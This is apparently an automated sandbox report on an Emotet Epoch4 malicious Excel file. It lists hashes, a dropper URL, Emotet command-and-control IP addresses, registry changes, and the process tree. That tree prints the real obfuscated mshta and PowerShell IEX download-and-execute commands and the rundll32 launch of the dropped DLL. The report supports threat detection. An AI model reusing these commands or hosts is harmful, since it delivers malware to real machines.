emotet | 48d2b8e9f891fe7810718c9c7a877e7fc8999fa7003b61b47e0319315a9bde06

Analysis

max time kernel
59s
max time network
51s
platform
windows7_x64
resource
win7-en-20211208
submitted
28-01-2022 02:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2022-1-28-2c3f20f85f0deb5c757099154b411f05.xls
Size

46KB
MD5

2c3f20f85f0deb5c757099154b411f05
SHA1

6cc82d236555536f649f70a0a20e8a0330cd7bc8
SHA256

48d2b8e9f891fe7810718c9c7a877e7fc8999fa7003b61b47e0319315a9bde06
SHA512

b8538c87b9bec2386e2c3c2aac336d7207694c7d5c6832cce3ed32dd09e242f3a59bb7547547c2822d7cc60abefb2eff81550ae04cf24d0167f34957863af748

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	760	1676	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1468 mshta.exe
5 1496 powershell.exe
7 1496 powershell.exe
9 916 rundll32.exe
11 916 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1288 rundll32.exe
1288 rundll32.exe
1288 rundll32.exe
1288 rundll32.exe
1764 rundll32.exe
1764 rundll32.exe
1764 rundll32.exe
1764 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Awxiqsiisxdnc\rmqskb.swg rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1468	mshta.exe
5	1496	powershell.exe
7	1496	powershell.exe
9	916	rundll32.exe
11	916	rundll32.exe

pid	process
1288	rundll32.exe
1288	rundll32.exe
1288	rundll32.exe
1288	rundll32.exe
1764	rundll32.exe
1764	rundll32.exe
1764	rundll32.exe
1764	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Awxiqsiisxdnc\rmqskb.swg	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1676 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1496 powershell.exe
916 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1496 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1676 EXCEL.EXE
1676 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1676 EXCEL.EXE
1676 EXCEL.EXE
1676 EXCEL.EXE

pid	process
1676	EXCEL.EXE

pid	process
1496	powershell.exe
916	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1496	powershell.exe

pid	process
1676	EXCEL.EXE
1676	EXCEL.EXE

pid	process
1676	EXCEL.EXE
1676	EXCEL.EXE
1676	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1676 wrote to memory of 760	1676	EXCEL.EXE	CMD.EXE
PID 1676 wrote to memory of 760	1676	EXCEL.EXE	CMD.EXE
PID 1676 wrote to memory of 760	1676	EXCEL.EXE	CMD.EXE
PID 1676 wrote to memory of 760	1676	EXCEL.EXE	CMD.EXE
PID 760 wrote to memory of 1468	760	CMD.EXE	mshta.exe
PID 760 wrote to memory of 1468	760	CMD.EXE	mshta.exe
PID 760 wrote to memory of 1468	760	CMD.EXE	mshta.exe
PID 760 wrote to memory of 1468	760	CMD.EXE	mshta.exe
PID 1468 wrote to memory of 1496	1468	mshta.exe	powershell.exe
PID 1468 wrote to memory of 1496	1468	mshta.exe	powershell.exe
PID 1468 wrote to memory of 1496	1468	mshta.exe	powershell.exe
PID 1468 wrote to memory of 1496	1468	mshta.exe	powershell.exe
PID 1496 wrote to memory of 1732	1496	powershell.exe	cmd.exe
PID 1496 wrote to memory of 1732	1496	powershell.exe	cmd.exe
PID 1496 wrote to memory of 1732	1496	powershell.exe	cmd.exe
PID 1496 wrote to memory of 1732	1496	powershell.exe	cmd.exe
PID 1732 wrote to memory of 1288	1732	cmd.exe	rundll32.exe
PID 1732 wrote to memory of 1288	1732	cmd.exe	rundll32.exe
PID 1732 wrote to memory of 1288	1732	cmd.exe	rundll32.exe
PID 1732 wrote to memory of 1288	1732	cmd.exe	rundll32.exe
PID 1732 wrote to memory of 1288	1732	cmd.exe	rundll32.exe
PID 1732 wrote to memory of 1288	1732	cmd.exe	rundll32.exe
PID 1732 wrote to memory of 1288	1732	cmd.exe	rundll32.exe
PID 1288 wrote to memory of 1764	1288	rundll32.exe	rundll32.exe
PID 1288 wrote to memory of 1764	1288	rundll32.exe	rundll32.exe
PID 1288 wrote to memory of 1764	1288	rundll32.exe	rundll32.exe
PID 1288 wrote to memory of 1764	1288	rundll32.exe	rundll32.exe
PID 1288 wrote to memory of 1764	1288	rundll32.exe	rundll32.exe
PID 1288 wrote to memory of 1764	1288	rundll32.exe	rundll32.exe
PID 1288 wrote to memory of 1764	1288	rundll32.exe	rundll32.exe
PID 1764 wrote to memory of 748	1764	rundll32.exe	rundll32.exe
PID 1764 wrote to memory of 748	1764	rundll32.exe	rundll32.exe
PID 1764 wrote to memory of 748	1764	rundll32.exe	rundll32.exe
PID 1764 wrote to memory of 748	1764	rundll32.exe	rundll32.exe
PID 1764 wrote to memory of 748	1764	rundll32.exe	rundll32.exe
PID 1764 wrote to memory of 748	1764	rundll32.exe	rundll32.exe
PID 1764 wrote to memory of 748	1764	rundll32.exe	rundll32.exe
PID 748 wrote to memory of 916	748	rundll32.exe	rundll32.exe
PID 748 wrote to memory of 916	748	rundll32.exe	rundll32.exe
PID 748 wrote to memory of 916	748	rundll32.exe	rundll32.exe
PID 748 wrote to memory of 916	748	rundll32.exe	rundll32.exe
PID 748 wrote to memory of 916	748	rundll32.exe	rundll32.exe
PID 748 wrote to memory of 916	748	rundll32.exe	rundll32.exe
PID 748 wrote to memory of 916	748	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2022-1-28-2c3f20f85f0deb5c757099154b411f05.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1676

C:\Windows\SysWOW64\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:760

C:\Windows\SysWOW64\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1468

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1496

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:1732

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1288

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1764

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Awxiqsiisxdnc\rmqskb.swg",SJXat
8⤵
- Suspicious use of WriteProcessMemory
PID:748

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Awxiqsiisxdnc\rmqskb.swg",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:916

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\QWER.dll
MD5
680e278a0ce15adb1f86895622735c6e

SHA1
319d16f64ab5b9a15a9473b2437dcd81643bd2b8

SHA256
0e9f1ff1c80bd72100bde95b3215c42b4c71d988468f25696bbf5a0cb1606da1

SHA512
3e80ee08abcd85a9e1cd31ba59bd418915147dd07c667a526fbb81cb7344a0034ad0a46cca41f8ac251d414d9e15843b87c8d874c331865733337162bd762352

Download Submit
\ProgramData\QWER.dll
MD5
680e278a0ce15adb1f86895622735c6e

SHA1
319d16f64ab5b9a15a9473b2437dcd81643bd2b8

SHA256
0e9f1ff1c80bd72100bde95b3215c42b4c71d988468f25696bbf5a0cb1606da1

SHA512
3e80ee08abcd85a9e1cd31ba59bd418915147dd07c667a526fbb81cb7344a0034ad0a46cca41f8ac251d414d9e15843b87c8d874c331865733337162bd762352

Download Submit
\ProgramData\QWER.dll
MD5
680e278a0ce15adb1f86895622735c6e

SHA1
319d16f64ab5b9a15a9473b2437dcd81643bd2b8

SHA256
0e9f1ff1c80bd72100bde95b3215c42b4c71d988468f25696bbf5a0cb1606da1

SHA512
3e80ee08abcd85a9e1cd31ba59bd418915147dd07c667a526fbb81cb7344a0034ad0a46cca41f8ac251d414d9e15843b87c8d874c331865733337162bd762352

Download Submit
\ProgramData\QWER.dll
MD5
680e278a0ce15adb1f86895622735c6e

SHA1
319d16f64ab5b9a15a9473b2437dcd81643bd2b8

SHA256
0e9f1ff1c80bd72100bde95b3215c42b4c71d988468f25696bbf5a0cb1606da1

SHA512
3e80ee08abcd85a9e1cd31ba59bd418915147dd07c667a526fbb81cb7344a0034ad0a46cca41f8ac251d414d9e15843b87c8d874c331865733337162bd762352

Download Submit
\ProgramData\QWER.dll
MD5
680e278a0ce15adb1f86895622735c6e

SHA1
319d16f64ab5b9a15a9473b2437dcd81643bd2b8

SHA256
0e9f1ff1c80bd72100bde95b3215c42b4c71d988468f25696bbf5a0cb1606da1

SHA512
